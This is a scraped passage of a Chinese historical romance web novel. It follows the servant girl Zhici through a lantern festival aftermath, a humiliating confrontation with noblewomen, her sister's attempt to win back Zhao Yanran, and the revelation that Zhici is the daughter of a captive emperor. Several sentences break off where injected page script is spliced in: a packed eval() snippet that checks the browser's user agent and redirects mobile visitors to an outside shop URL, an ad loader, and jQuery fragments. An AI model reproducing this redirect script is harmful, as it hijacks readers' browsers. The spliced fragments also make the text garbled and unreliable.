孙巧工一片好心,但对谢琅来说,无数双眼睛的注视下,接了花灯,便必须按习俗赠与异性;否则他便坏了众人过节的兴致。 但于谢琅在感情一事上十分保守,迄今为止,他从未接受过别人的追求,也从未主动追求过谁。 于他来说,除非已经认定一个人,否则仅仅因为有好感,就以花灯相赠,实在太过轻浮而不负责任。 谢琅刚欲开口解释,孙巧工又道,“殿下,这花灯您要不收,便是瞧不起我孙巧工的一番心意。” 周围的群众也纷纷附和,仰头喊着让谢琅收下。 群众的呼声山呼海啸,让谢琅再也说不出拒绝的话。 无奈,他的目光转向池无暇,还未开口,池无暇便堵住了“你别看我,我可不想被林姑娘误会。” 谢琅目光又转向在场其他人,众人如避瘟疫,“殿下,你别这么看我们,你往楼下看……你看!那不是吴小姐吗?!你送她,她肯定开心。” 谢琅向楼下望去。 地上人群摩肩擦踵,每一个人都在仰头看着他。谢琅视线从每一张面孔上略过,他看到几个相识的眼熟面孔,这些官家子弟在追月节这样的盛会上,也和平民百姓一样出来凑热闹。 这其中的确包括吴首辅的女儿吴姑娘,吴姑娘同她的女伴挽着手,眼含希冀望着他。 谢琅移开眼,对于不喜欢的人,他向来明确与对方划清界限,优柔寡断只会伤人伤己。 随即,谢琅突然看到一个熟人。 只见知慈也如其他人一样,仰头望着他。 看到知慈的一霎,谢琅心里突然有了主意。 也许因为知慈帮他解过围,也许因为他帮助过知慈。谢琅对这位姑娘有天然的好感,在他看来知慈懂感恩、有分寸,如果将花灯送给知慈,她一定会为自己解围收下,又不会误会。 台下,知慈发现谢琅的目光在自己身上定住。 不会吧。知慈心想。 随即,知慈看到谢琅下了茶楼,登上高台感谢孙巧工,又对台下百姓发表了简短的感谢和致辞。 然后,谢琅提着花灯,真的向她走来了。 人群自觉为谢琅让出一条路,谢琅穿过拥挤的人群,来到了知慈面前。 “花灯赠佳人,希望你喜欢。” 知慈没接,愣愣看着他。谢琅容貌姣好,眉眼清润柔和,乌瞳亮而深邃,当他专注凝视着一个人时,便会给人产生深情的错觉。 见知慈无动于衷,谢琅神色未变,温柔道,“你发梢乱了。” 说着,他微微俯下身,替知慈将碎发别在耳后。用极轻的声音道,“帮我。” 知慈回过神,这才反应过来,明白他的意图。她悄声问道,“灯能卖吗?” “嗯。” 谢琅再次拉远了与她的距离。 在周围人或是艳羡、或是好奇的目光中,知慈微笑着接过。 “多谢殿下。” 谢琅道,“来茶楼喝杯茶吗?” 知慈摇了摇头。随即谢琅又同知慈寒暄几句,便自行回了茶楼。 知慈手里提着走马灯,周围人频频向她投来目光。有人同她搭话,问她怎么认识谢琅的。知慈敷衍了几句,众人见她不愿说,也就渐渐移开了注意力。 台上灯会继续,知慈有些心不在焉。她频频瞥向茶楼二楼,瞧见谢琅随一太监离席而去,没过多久便回来了,但方才还脸上含笑的他变得神色郁郁,看起来有心事。之后没多久,他便和池无暇等人打过招呼,提前告辞下楼了。 是方才的太 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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赵晏然不说话了,冷下脸,向相反方向离开。 他听见后面响起脚步声,知道知慈在后面跟着他。 二人一前一后,沉默走着。 赵晏然不回头,也不理她。 他心想自己被沈知慈耍了。她就是故意的,诱骗他表白心意,然后她赢了,开始嘲笑自己。 他心想,自己再不会和她说话,也不会再管她了。 他心里想法一个接一个冒出来,却听身后知慈开口。 “赵晏然,我手凉。” 赵晏然冷嗤一声,又想骗他上当,当他是傻瓜? 这样想着,赵晏然还是放慢了脚步。 他不看她。 然后,有些屈辱、又有些忐忑地牵起她的手。 知慈立刻紧紧回握住了他。 两个人牵着手,沉默走了好久。 万籁俱寂,唯有晚风温柔。 知慈偷偷地笑了。她偷瞟赵晏然,赵晏然目不斜视,只看着前方的路。 可他的嘴角出卖了他。 他也笑了。 26. 找茬 那日之后,二人便在一起了。 日子一天天过去,知慈虽然依旧按部就班在酒楼做工,但闲暇之余都由赵晏然带着她四处玩耍,过得好不快活。 半月之后,孟强案尘埃落定,孟强被判满门抄斩。几日后,孟强全家被官府游街示众,最后押赴刑场。刽子手手起刀落,这位作恶多端的大贪官终于人头落地。 人群纷纷拍手叫好,赵晏然也肉眼可见心绪激动。 当天晚上,二人听到街坊谈论,说有个老妪在郊外投河了。那老妪不少人都识得,就是常常徘徊在衙门附近被孟强害得家破人亡的花老太,不晓得为何如今她终于为儿子报了仇,却选择自杀。 听得这个消息,知慈顿感五味杂陈。 知慈唏嘘道,“这老婆婆,了却一桩心愿,为何不重新开始过日子呢。” 赵晏然面色紧绷,半晌才冷冷道,“她自己种下的因,如今自食苦果罢了。” 知慈侧目,纳罕于赵晏然说话之尖刻。 恰巧这时,街边有人冲知慈唤道,“姑娘,要不要来画幅小像。” 知慈回头,见到一位画师在街边支了摊,周围摆满了他的画作。 知慈拉着赵晏然,饶有兴趣走过去,端详半晌后,得出结论,“你画的真好。” 画师笑道,“姑娘有眼光!小生曾在宫中担任御用画师,可惜好景不长,宫中贵人们不喜小生画风,最后我只能街头卖艺为生。” 知慈听他自报家门,觉得很是有趣。 赵晏然在一旁道,“知慈,你要画一副小像吗。” “我?”知慈闻言,犹豫半晌。那画师小哥道,“来吧,女孩儿家怎能没有自己的小像呢。” 于是赵晏然掏钱,让那画师小哥为知慈画了一幅白描肖像。 回程路上,知慈翻看着小像,不太高兴道,“他把我画得一点都不好看。” 赵晏然凑过来端详片刻,道,“还好啊,你不就长这样吗。” 只见小哥画功扎实,人物传神,但绘画风格严谨过了头,知慈长相上的特点在他笔下半点修饰都无,脸上那道丑陋的疤痕十分写实。 知慈不高兴道,“你和他一样,一点都不会换位思考。我算明白为何他画功那么好,却只能当个街头画师了。明明只要换个角度,就能完全能把我脸上疤痕遮掩住。” 赵晏然不可置否,换了话题道,“知慈,陪我去趟铁匠铺。” “怎么了?” 赵晏然道,“明日我有同门过来,我得好好接待他们。” 周师兄前日传讯,被掌门派来探望他同门是诸葛真,明日便会抵达京城。 想到来得是自己的死对头,赵晏然果断让知慈陪着自己去了趟铁匠铺,将自己的剑磨快几分。 - 第二日一早,知慈一如往常来到酒楼,正要开始手头工作时,主管何姐找到知慈,“知慈,楼里来了贵客,点名让你接待。” “贵客?” 何姐点了点头,“这次来的客人非富即贵,咱们老东家路夫人也在其中,还有你姐姐沈纤纤也在。” 何姐意味深长看着知慈,“点你名的不是她俩,而是另一个穿绿衣服的客人,等会招待时,你谨慎些。” 知慈点头,心下疑惑。京城中非富即贵的女子,除了路夫人和沈纤纤,她并不认识别人。 知慈来到雅间,房间内坐着十余位衣衫华贵的年轻女子,正在有说有笑,一位伙计正在为她们添茶。 知慈快速梭巡一眼,立刻发现了何姐口中的绿衣客人。只见少女众星捧月,居于主位,身着绿纱长裙,容貌看着十分眼熟。 知慈回忆一瞬,随即忆起前几日她为花婆婆的事去北镇抚司求谢琅时,这名绿衣女子正缠着谢琅同他说话。这女子姓吴,是大理寺卿的千金。 知慈又朝余下其他人看去,看到路夫人和沈纤纤二人坐在坐席最外侧的边缘位置,路夫人一脸陪笑,极力想融入贵女之中;而沈纤纤则兴致缺缺,一言不发,看到了知慈,也没什么特别的反应,只平淡移开了目光。 身着绿衣的吴姑娘看知慈进来,笑意淡了下来。 周围贵女察言观色,也渐渐止住了闲聊。 “愣着干什么,给我们添茶啊。”吴姑娘身旁一人看向知慈,皱眉道。 闻言,知慈去拿茶壶,依次为贵女们添茶。 她一边倒茶,听到有人悄声道,“她就是那个前日五殿下赠花灯那女的?” “不能吧?她有什么过人之处啊……” 女子们的悄悄话声音清晰,一点没避着她,仿佛她不存在。 随即,主位的吴姑娘笑了一声,“路夫人,听说她是曾在你们家做过工?” 路夫人急于献殷勤,道,“是,她在路府呆了三年,前段时间府上有个姓赵的门客犯下大错,她与那门客有私情,便被我们老爷一块儿赶出府去了。” 知慈听她胡乱编排自己,十分生气,忍不住抬起头道,“大夫人,赵晏然现在已经痊愈,你若胡乱编排,小心明天他来找你。” 路繁叶没同任何人说过自己被赵晏然威胁一事,并勒令当时在场的家丁禁止声张。因此一听说这煞星痊愈,路夫人脸色瞬间发白。而沈纤纤则霍然抬头,紧紧盯着知慈。 而居于主位的吴姑娘则厌弃道,“东食西宿,水性杨花。已经有了男人,还要勾引殿下。” 知慈忍耐到极点,“你说我?” 她终于明白了自己被特意叫来的原因:谢琅送她花灯时,这位吴姑娘也在场,她喜欢谢琅因此嫉恨自己,于是带了其他女伴,包括路夫人和沈纤纤,来找她麻烦。 熟料吴姑娘看也没看她,只抬了下手掌,做了一个打断的手势,“倒你的水,好吗,做好你的本分。”似乎多和知慈说一句话都侮辱了她。 吴姑娘话音落下,众女一阵嗤笑,看向知慈的眼神轻鄙。唯有最外侧的沈纤纤没有笑,她移开目光,盯着手边的茶杯,不知在想些什么。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13754239|144584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知慈觉得深受侮辱,自己没有招惹任何人,这群贵女却一大早上来找自己的麻烦。 她当然没有继续倒茶,她重重放下茶壶。抬步向主位绿衣女子走去,“你说清楚,你想找我干什么?” 吴姑娘见知慈朝自己走来,皱眉大声道,“你别过来,别靠近我。” 知慈脚下未停,“你是故意来找我麻烦的对吗?” “——我说了,别靠近我!!”吴姑娘见知慈过来,尖叫着,抬手扇了知慈一巴掌。 知慈只想同她对峙清楚,却没料到对方直接动手,尚未反应过来便觉脸上一麻,随即火辣辣的痛。 知慈脑子嗡的一下,强烈的被侮辱感让她抬手便要打回。 然而这时包厢门猛地被人推开,何姐大声道,“知慈,不要!” 知慈手顿住,却没有放下,何姐用近乎哀求的眼光看着她,“知慈,求你别冲动。”随即又用特别卑微的语气对吴姑娘道,“贵人,我的人不懂事,我带她给您赔不是了,您大人有大量,千万别和她计较。” 知慈知道何姐在害怕什么。自己是何姐的伙计,在她店里打了大理寺卿的千金,何姐的生意便不必再做了。 知慈无牵无挂,根本不怕得罪权贵家的千金,但何姐对她多有照拂,又给她提供了工作,她不想牵连何姐。 知慈深深吸了口气,强行忍下了愤怒和委屈,缓缓放下手,低声对吴姑娘道,“是……小的错。” 吴姑娘端起茶杯抿了一口,没有回应知慈,对着其他人道,“沾了一身晦气,都忘了点菜了,你们想吃什么。” 何姐闻言,肉眼可见松了一口气,对知慈道,“你下去吧,让孙芳过来。” 知慈离开厢房,很快便由别的伙计接班。 厢房内,众女对知慈一番鄙夷和批判后,聊起了其他话题。 而最外侧,沈纤纤自方才听知慈提起赵晏然恢复健康一事,便一直魂不守舍。 见路大夫人茶杯空了,沈纤纤如过去做贴身侍女时那般,下意识地端起茶壶为给大夫人续茶,可她心不在焉,茶水已经溢了出来了,她仍维持着倒水的姿势。 水流下桌子,浸湿了路大夫人的衣裙。 “你干什么呢?!连个水都倒不好?”路大夫人疾言厉色。 沈纤纤做路大夫人贴身婢女时,路大夫人还十分喜欢她。但自沈纤纤跟了路茂枝后,路大夫人便成了贵女之间的笑话,说她连个婢女都管不住,主动勾引小叔子。 路大夫人认为自己遭到了背叛,既恨自己识人不清,又恨沈纤纤狐媚心思。 昨日吴姑娘邀她出来聚会,若不是点名让她带上沈纤纤,路大夫人根本不想和她多说一句话。此刻沈纤纤倒个水都心不在焉,路大夫人忍无可忍。 面对路大夫人的怒火,沈纤纤麻木地道歉,但心里却想着别的事。 贵女们又聊了半晌,沈纤纤借口如厕离席,出了包厢,却拉住一个楼里的伙计道,“哎,我向你打听一个事。” 27. 上门 时近中午,何姐送走了客人们,同知慈谈心,“上午的事,委屈你了。” 知慈心里还是不舒服,闻言只是摇了摇头。 何姐看她半晌,叹了口气,“下午你休息吧,调整下心情。” 知慈明白何姐在抚慰自己所受的委屈,于是点头应了下来。 她去后屋换了衣服准备回家。这时一个平日与知慈关系不错的姑娘,神神秘秘走了过来,“哎,知慈,我给你说个事儿。” 知慈疑惑等待下文。 那姑娘道,“上午那个厢房,有个长得很貌美的客人,告诉我她叫沈纤纤,向我打听你的住处。” 知慈一怔,道,“那你怎么说?” 姑娘道,“我记得你同我说过你的姐姐便叫沈纤纤。我就问她要地址做什么,你姐姐说你们之间有误会,想私下找你说开,我心想你应该不会反对,所以便告诉了她。” 知慈想起方才所有人都在哄笑时,唯有沈纤纤没笑。她心头涌起短暂的温情,心想姐姐仍在乎她们之间的感情。 但这份温暖很快便被屈辱和委屈的情绪取而代之。一想起上午的事,她心中仍然怨愤难消。 “凭什么有权有势就可以随意侮辱她人?” 知慈忿忿不平地想,若是自己能比吴姑娘身份更尊贵就好了。如果真有那么一天,她便要将自己受的委屈依次让吴姑娘感受一遍,让吴姑娘也尝遍羞辱才好。 知慈幻想得虽然痛快,但她很清楚这不过是在自欺欺人,现实就是吴姑娘会一直高高在上,而她则一辈子是个卑微的奴仆。 想到这里,知慈情绪更加低落,想起方才掌柜给她放的半天假,她决定回家睡一觉调整情绪。 知慈低着头离开了酒楼。 刚迈出门槛,知慈便听见有人唤她,“知慈姑娘。” 知慈抬头,见是街边一位家丁打扮的小厮冲她开口,“我家老爷找您。” “你家老爷?” 小厮客客气气回答,“我家老爷名唤徐钰,您之前曾来徐府寻过他。今日他刚抵达京城,回来第一件事,便是让小的过来请你到府上一叙。” 知慈想了起来,这位徐钰是母亲的故交,当初赵晏然瘫痪时,自己曾尝试寻求过对方的帮助,可惜对方不在京城。 如今她虽然早已摆脱了当时的困境,但她依然对母亲的这位故交感到好奇,加上上午糟糕的经历让她只想找点事换换心情,于是她点点头,“好,请带路。” - 枣花街天字院。 赵晏然在家中小院练剑,所练招式正是上清剑法。 自他听说来的是诸葛真后,一个上午他都在琢磨剑式,绞尽脑汁地想办法想掩饰住自己近来出剑会手发抖的问题。他和诸葛真之间一贯竞争激烈,才不想被诸葛真踩到脚底。 然而道心不稳的问题并非取巧所能遮掩,他愈掩饰,手反而愈抖。 赵晏然愈发烦躁,恰好此时敲门声响起,他如梦初醒,走到院门口,“哪位?” 他一边说,一边开门,然而抬起头时,却见到了一个意想不到的人。 只见沈纤纤站在门外,与赵晏然对上视线。她的容貌依旧美丽,却难掩神色间的失意落魄。 沈纤纤局促地露出一个笑容,“晏然。” 赵晏然脸上惊讶一闪而逝,随即冷淡道,“是你。” 沈纤纤道,“我……有事找你。我可以进去坐坐吗?” 赵晏然漠然道,“有什么事,门口说便好。” 见赵晏然态度冷漠,沈纤纤心下难受。来之前她便知道赵晏然肯定怨恨自己,可亲眼见到曾经对自己藏不住好感的少年此刻这么冷淡,她心里还是觉得很不是滋味。 沈纤纤定了定心神,轻声道,“晏然,我来是想同你道歉。我知道你恨我在你最难时背叛你。” 少年嘴角抽动了一下,看起来像想冷笑,“没什么可道歉,是我看人走了眼。” 沈纤纤眸中含泪,说出早已编好的理由,“我没奢望过你原谅我,是我太懦弱,没有勇气。” 她紧紧盯着赵晏然,见对方神色松动,于是继续说出了想好的说辞。 “从前你在时,路茂枝便一直暗地骚扰我;你出事当天,我领着知慈到处求人救你,可谁知刚回路府,路茂枝便将我关了起来强行奸污了我,原来他知道你出了事,便再无所顾忌。” “被囚禁那几日,路茂枝告诉我你已经死了。我不信,偷偷派人给知慈递信,可知慈也杳无音讯。走投无路的我只能委身路茂枝,晏然,我没办法……” 说道这里,沈纤纤哽咽起来,“你知道我得知你还活着时,心里是什么滋味吗……” 沈纤纤偷偷观察着赵晏然的反应,可对方神情依旧没有变化。 赵晏然没说话,二人之间便陷入了沉默,只有沈纤纤偶尔发出的抽泣声。 沈纤纤有点慌了,她发现自己突然无法像从前那样游刃有余地掌控局面,“晏然,你怎么了?你不是喜欢我吗,为什么不说话?你恨我也好,怨我也好,你说句——” 赵晏然霍然抬起头,骇人的眼神让沈纤纤硬生生咽下没说完的话。 只见他平静的神色终于消失,一瞬间他的神色极愤怒,又像被极度冒犯,他压抑情绪道,“我什么时候说过喜欢你?” 赵晏然从未向沈纤纤表白过,他心气傲,即使对她有过好感,也绝不肯轻易主动宣之于口。 可此刻沈纤纤如此直白地表示,她早看穿了他。这无异于将赵晏然的自尊踩在脚底碾压——她若早就看穿,那从前和自己打交道时暧昧又若即若离的态度是在戏耍自己吗? 沈纤纤没想到他的反应这么激烈,看她的眼神中甚至露出几分杀气。她瞬间感到畏惧,磕磕巴巴道,“对、对不起。是我自己猜的。” 赵晏然冷笑,“你当你是谁?”他指了指门外,“恕不远送。” 不待沈纤纤反应,他便嘭地一声关上了大门。 沈纤纤怔怔站在紧闭的大门前,半晌心跳才渐渐平复。 方才的对话让她又失落又后怕。 她知道赵晏然怨她恨她,可她以为向他表明心意,他总该会欣喜的。 但沈纤纤转念又想,无论如何,赵晏然至少会因为她的话情绪失控,即使他本人不愿承认,但这说明在他心中仍然有自己的一席之地。 这个结论让沈纤纤心底稍安,她转身踏上回路府的路,连带着步伐都比来时轻快了些许。 这几日她一直心里压着事:前些日子她身体不适,找医师 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 号脉之后才发现自己怀孕了。沈纤纤非但没有高兴,反而心中忐忑,路茂枝尚未娶正妻,她不确定路家会不会让这个孩子生下来。 她犹豫了几日,都没能下决心告诉路茂枝这个消息,因为她拿不准路茂枝会是什么反应。 越到这样的时候,她便越想起赵晏然的好。她甚至觉得,当初如果选择照顾瘫痪的赵晏然,恐怕也比如今路茂枝变心、大少爷夫妇不喜的处境要强——起码赵晏然是她喜欢的人。 因此,上午从知慈口中听说赵晏然身体恢复的消息后,沈纤纤只觉五味杂陈:高兴、后悔、难过、不甘…… 她不想回路府,不想为了一个她根本看不上的男人忐忑不安,因此忍不住借知慈的名义,偷偷打听了赵晏然的住址,想尝试着挽回他。 赵晏然的冷漠令她难过,但他的愤怒又让她生出些微期望:他的情绪仍被她牵动。想到这里,沈纤纤因突然怀孕而多日纠结忐忑的情绪总算稍稍得以慰藉。 - 沈纤纤心情稍霁,脚步轻快回到路府。然而,她一推开自己的屋门,便闻到一股青楼特有的脂粉气,混合着禁药寒食散的味道。 只见路茂枝歪坐在塌上,衣衫不整地吸食寒食散,模样醉生梦死。听见沈纤纤回来,路茂枝抬起头,目光迷离地望着她。 沈纤纤说不清自己更厌恶他去青楼,还是更厌恶他吃寒食散。她反感道,“我说过了,你去完青楼就不要再来我这儿。” 路茂枝嗤笑一声,没有说话,优哉游哉调整了一个更舒服的姿势靠在塌上。 其实路茂枝并非从一开始时便这样肆无忌惮。沈纤纤刚跟了路茂枝时,路茂枝十分宠她,但未过多久,没了新鲜感,路茂枝便又开始心思痒痒往青楼跑。 第一次瞒着沈纤纤去青楼时,路茂枝有些做贼心虚,害怕被沈纤纤发现。但没过多久真被抓包,他反而发现沈纤纤除了同自己声嘶力竭地发火、摔东西,似乎拿他也没什么办法。 后来,路茂枝又发现,如果在沈纤纤发火时,自己朝她对着吼,她甚至会马上安静下来,默默垂泪。因为她既没有靠山,也不敢离开自己,更没有制裁的手段,所以只敢虚张声势。 发现这一点后,路茂枝便不再顾忌沈纤纤的感受,肆无忌惮地出入青楼和沈纤纤的厢房之间。 眼下,沈纤纤望着路茂枝惬意的模样,何尝不知对方根本不把她的话当回事。她心中又苦闷又憋屈,“你别再我屋里服寒食散,我闻不得这味道。” 说着,她想去拿几案上装着寒食散的瓷碗,却被路茂枝按住了手,“不行。” 沈纤纤道,“你就不能回自己屋里吃?” 路茂枝道。“你的屋就是我的屋。我若回自己屋里,被我哥发现了可怎么办。”说着,他又心血来潮,“你若尝过这东西的滋味,就不会这么抵触了。来,过来。”他拉着沈纤纤的手,想让她也尝试一点寒食散。 沈纤纤扭过头拼命抗拒,“你别让我吃,我才不想变成你这副模样。” 为了转移路茂枝注意力,沈纤纤指着寒食散下面垫着的一堆纸张,问道,“这些是什么?” 路茂枝闻言,果然他松开手道,“哦?你对这些感兴趣?” 沈纤纤点头等待下文,想引他移开注意力。 28. 身世 另一边,知慈随徐钰的家丁来到徐府。 二人刚行至门口,便见徐府大门打开,迎面撞上一位芝兰玉树、身材颀长的温润公子,对方正要离开徐府。 见到来人,知慈有些意外,“五殿下,是您?” 原来对方是与知慈打过数次交道的谢琅。他看见知慈,微微笑道,“嗯,老师刚回京城,我过来看看。听老师说同你有约,我便不打扰了。” 他顿了顿,又道,“对了,上次的事,多谢。” 知慈闻言,立刻明白他指追月节自己帮他解围接受花灯的事。她摇了摇头,“那花灯能换很多钱,你送了我,该我感谢你才是。” 谢琅道,“如果能换成银钱物尽其用,那最好不过。”他的语气彬彬有礼,并不介意知慈换钱。 二人又寒暄几句,谢琅告别离开,知慈则随小厮进入徐府。 徐府正堂,一位三十余岁的武将端坐主位,只见他身材魁梧,眉宇之间正气凛然,不怒自威。 武将见到知慈,神情有些激动。 “来,过来坐。” 知慈依言拘束地坐下,便见目光慈爱地打量她,仿佛长辈看自家晚辈。 “孩子,我就是徐钰。前些日子在外戍边时听说你在找我,所以一回京便派人请你过来。” 知慈安静听着。 “方才你一进门,看到你五官的模样,我便确定了你是谁,还有你脸上的疤痕,简直同他一模一样。” 徐钰话里话外都透露着对自己身世的了解。知慈忍不住追问,“您认得我?您口中的‘他’又是谁?” 徐钰叹了口气,“你果然不知道。”他没有立刻回答知慈的问题,而是问道,“孩子,你知道你的父亲是谁吗?” 知慈心下疑窦更甚,道,“我爹名唤沈朱,是北风城里的土方工头。” 徐钰摇了摇头,“沈朱,他只是你的养父。你的生父另有其人。” 知慈愣住。又听徐钰道,“孩子,你的生父是谢国太上皇兴佑帝,而你自然也并非普通人,而是谢国的公主。” 闻言,知慈很震惊。 她不是沈朱的亲生女儿,怪不得爹爹对她向来态度冷淡。 可……谢国的公主?这样尊贵的身份,她从未想象过。 知慈觉得自己像在做梦,或者徐钰在同自己开玩笑。 另一边,望着知慈说不出话来的模样,徐钰明白她一时半刻无法接受。于是耐心开口,同她从十六年前旧事讲起。 - 十六年前,先皇驾崩,刚满十六岁的太子登基,年号兴佑,被人们称为‘兴佑帝’。 徐钰作为将门之后,年纪与兴佑帝相仿,自小便与其一起玩到大。 宫闱秘辛,兴佑帝少时遗传其母,面有疤痕,常感自卑。幸有宫中太医配出药,徐钰自告奋勇以身试药,确认无碍后才将药献给兴佑帝,彼时还是太子的兴佑帝大为感动,自此把徐钰视为亲信。而兴佑帝涂药后,脸上狰狞的疤痕也就此消失,露出了原本俊俏的五官。 兴佑帝登基后,作为皇帝信任的近臣,徐钰的前途无可限量。 与此同时,由于鞑靼军队频繁骚扰北境,朝廷头疼不已。兴佑帝刚刚登基,正直热血冲动的年纪。在听闻过无数鞑靼人恶行后,兴佑帝在一次早朝上宣布将北上御驾亲征,彻底驱逐鞑靼人。 众臣哗然,纷纷劝阻,但皇帝决心已定。 数月后,兴佑帝北伐的队伍浩浩荡荡出发,众多文臣武将为其保驾护航。而徐钰作为兴佑帝的亲信臣子,自然也随同在列。 彼时,兴佑帝有位十分宠信的太监,名唤韩福。韩福很懂少年人的心思,为讨兴佑帝欢心,太监韩福建议兴佑帝改道北风城路线行军,因北风城城郊景色好,游玩之处又多。 皇帝自小长在深宫,除了京城没有出过远门,对塞北的全部认知都基于宫中的风土志和话本小说,对北风城的粗狂民风一直心生向往。因此立刻心驰神往,当即按照韩福的话更改行军路线。 舍近求远折腾大部队,这种荒唐行径引得随军众臣十分担忧,其中也包括徐钰。 大臣们再三请求兴佑帝重新考虑,引得兴佑帝十分不满,而徐钰也被叱骂一通。 最终,军队还是按照游山玩水的路线变路行军。在即将到达前线时,部队来在北风城附近郊外驻扎。按原定计划,部队在郊外驻扎一晚,第二天就要拔营前进。 然而扎营当天,大臣们却发现兴佑帝消失了。 原来,兴佑帝路上便与太监韩福计划好了。待到达北风城郊后,兴佑帝会换上太监服饰,然后趁着天色将亮未亮,由韩福引着偷偷溜出营地,去北风城游玩。 这一天,众臣为找皇帝几乎把北风城翻了个底朝天。然而夜色将至,就在众人焦急时,兴佑帝却领着太监回来了,神色间兴奋又得意。 众臣担忧询问兴佑帝白日的去处,均被不耐烦地打发掉。直到众人散去,帐间重新变得清净,兴佑帝才忍不住向徐钰炫耀自己这一日的神奇经历。 小皇帝神采飞扬告诉徐钰,自己遇见了一位美丽的年轻妇人,对方与其夫君发生口角,心情郁结,于是独自一人来到郊外观中散心。 那天的兴佑帝打扮如一位翩翩少年郎,与那妇人因上香无意搭上了话,才知对方打算和夫君和离。 兴佑帝兴奋道,“她真得很貌美,所以朕劝她不要伤心,为了哄她开心,朕便陪她结伴同游。” 怨恨夫君的妇人,与看什么都新鲜的少年,二人共处一日,最后理所当然发展成了露水情缘。 小皇帝洋洋得意道,“不过朕始终没亮明真实身份。朕告诉她自己名唤徐钰,要跟随皇帝北上出征,待凯旋归来,便来接她。然后朕留了你家的住址,让她有事寄信。” 徐钰皱起眉,心里觉得不妥。 兴佑帝没注意,又道,“徐钰,御驾亲征可真有意思。原来话本子上说的是真的,微服私访便能邂逅艳遇。” 徐钰听完忍不住道,“殿下,您北上是为了披挂上阵统帅全军,而非游山玩水啊!” 兴佑帝不高兴道,“你少啰嗦,朕微服私访是为了体恤民情,一切都是为了我谢国的江山。怎么就影响打仗了?” 徐钰再无话说,即使皇帝再荒唐,身为人臣也只能服从。 然而事与愿违,兴佑帝任性的发号施令将精锐的谢国军队折腾成了一盘散沙。 三天之后,谢国军队与鞑靼正面交锋,谢军大败,死伤无数,太监韩福当场被杀,而兴佑帝和徐钰等活下来的人则成为了鞑靼人的阶下囚。 听到这里,知慈已经猜出故事中的年轻妇人是谁。 原来,自己是沈母当年同与沈父吵架后放纵的产物。 知慈猜测沈母与兴佑帝分离后,很快便与沈父和好了,因为沈母一直宣称自己是和沈朱夫妻二人的亲生女儿。 但从沈父对自己从前的态度来看,更像直觉上认为自己并非他的亲生女儿,却找不到实际的证据。 徐钰的讲述仍在继续。 “兴佑帝被抓后,鞑靼人想以他为筹码要挟谢国割让土地,但谢国国内臣子以死相逼,最终朝中另立新帝,因兴佑帝年纪尚小还无子嗣,最终由一位藩王继位,便是当今圣上,嘉平帝。” 这段历史知慈自然也有所耳闻,嘉平帝比兴佑帝年纪稍长,是兴佑帝的远房表兄,若非兴佑帝荒唐行径,嘉平帝到死也只是个小小藩王。 想到嘉平帝,知慈便不自觉联想到了谢琅。自己如果真的是公 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 主,那么谢琅作为嘉平帝的第五子,辈分上便成了自己的侄子。 徐钰道,“如今谢国在嘉平帝的治理下愈发稳定繁荣,事实证明,当今圣上确实比兴佑帝更适合当皇帝。” 随即徐钰话锋一转,“兴佑帝虽然太过幼稚不适合皇位,可他毕竟代表谢国的颜面,无论如何都不该让他在鞑靼人手里当十余年阶下囚。” 徐钰认为兴佑帝不适合做帝王,但对朝廷一直不作为,令兴佑帝如今仍被扣押一事十分不满。 听到这里,知慈有些疑惑:兴佑帝仍被扣在鞑靼,那徐钰是怎么回来的呢?她犹豫着问道,“您当年是怎么从鞑靼脱身的呢?” 谈及过去,徐钰长叹了口气。半晌道,“被鞑靼人俘虏后,我们被关押在鞑靼首都的一间小院。没有人身自由,没有下人侍奉,只能在院中活动,我们就在这样环境里呆了三年。” “一开始,鞑靼人想用兴佑帝狠狠勒索谢国一笔,但谢国却另立新帝,遥尊兴佑帝为太上皇,不再管他,致使鞑靼计划泡汤。” “于是渐渐地,鞑靼在通信方面解除了对我们的限制,允许我们在监督下向谢国递信。鞑靼人言外之意,让我们多同国内的亲人朋友游说求情,他们才好跟谢国谈条件。” “有一天,我收到家里人寄来的信,除了关心和担忧,信后还另附了一封信,说是从北风城寄来,专门寄给我的。我展开信,写信的人称我为徐郎,信中内容为一夜露水情缘后,她生了个女孩。” “我愣了一瞬,随即明白过来,对方便是兴佑帝口中的女伴。我将信交给蜷缩在塌上发呆的兴佑帝,他一目十行扫视后,将信团作一团丢掉,厌烦道,‘若非这女人诱惑我,我怎会落得如此下场。’便再没提过此事。” 听到这里,知慈觉得有些讽刺,自己这位生父行事荒唐,但更可恨的是犯了错误后又不敢承担,还要推卸责任。 “再后来,鞑靼人见谢国彻底放弃了兴佑帝,便也不再重视我们。随着两国关系缓和,鞑靼陆续释放被俘的谢国臣子,事变后第三年,我也被释放回国。但兴佑帝却作为政治筹码,被他们关押至今。” 徐钰道,“作为降臣,回到谢国后我无官无职,只能去亲戚开的私塾里当教书先生。”讲到这里,他笑了笑,“我和谢琅殿下的师生缘分,也是在那段时间结下的。就这么过了几年,朝中政策放开,我才重新任职武将前往边疆。” 徐钰看向知慈,道,“方才我一看见你,便无比确信,你就是兴佑帝的女儿。因为你脸上的疤痕和兴佑帝一样,是一种遗传病。而此事只有兴佑帝少时的几个亲信知道。” 知慈捕捉到了问题的关键,“你说我脸上的疤痕是遗传病。既然兴佑帝可以通过用药除疤,那我可以吗?” 